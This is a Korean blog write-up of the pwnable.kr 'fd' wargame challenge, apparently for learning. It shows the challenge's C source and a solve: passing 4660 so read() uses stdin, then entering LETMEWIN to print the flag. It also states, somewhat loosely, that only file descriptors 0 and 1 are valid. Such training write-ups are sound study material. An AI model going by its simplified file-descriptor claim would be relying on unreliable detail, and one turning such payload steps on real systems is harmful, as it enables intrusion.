728x90
ssh 로 접속한다. 비번은 guest
권한을 보면 flag는 내 권한으론 읽을 수 없고, fd.c파일은 소유자가 root이지만 권한이 열려있어서 내가 읽을 수 있다.
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
}
atoi함수는 문자열을 정수로 바꿔준다.
그럼 우리가 입력한 값(ascii)이 정수로 바뀌고, -0x1234(4660_dec)연산을 한 값이 fd에 들어간다.
read함수의 인자는 read (int fd, void *buf, size_t nbytes)이다.
(여기서 fd는 파일 디스크립터, *buf는 버퍼, size는 크기이다.)
fd값은 0, 1 이 가능하고, 나머지는 에러로 처리한다. (0은 input, 1은 output)
그러면 fd는 0이 되어야 하므로 argv[1]엔 4660(0x1234_hex)를 입력하면 된다. 그리고 버퍼엔 LETMEWIN\n 이라는 문자열을 넣어주면 된다.
페이로드를 작성하면,
./fd `python -c 'print "4660"'`
LETMEWIN
mommy! I think I know what a file descriptor is!!
728x90
'pwnable > pwnable.kr' 카테고리의 다른 글
[pwnable.kr] mistake (0) | 2020.10.03 |
---|---|
[pwnable.kr] lotto (0) | 2020.09.23 |
[pwnable.kr] flag (0) | 2020.09.23 |
[pwnable.kr] bof (0) | 2020.09.23 |
[pwnable.kr] collision (0) | 2020.09.22 |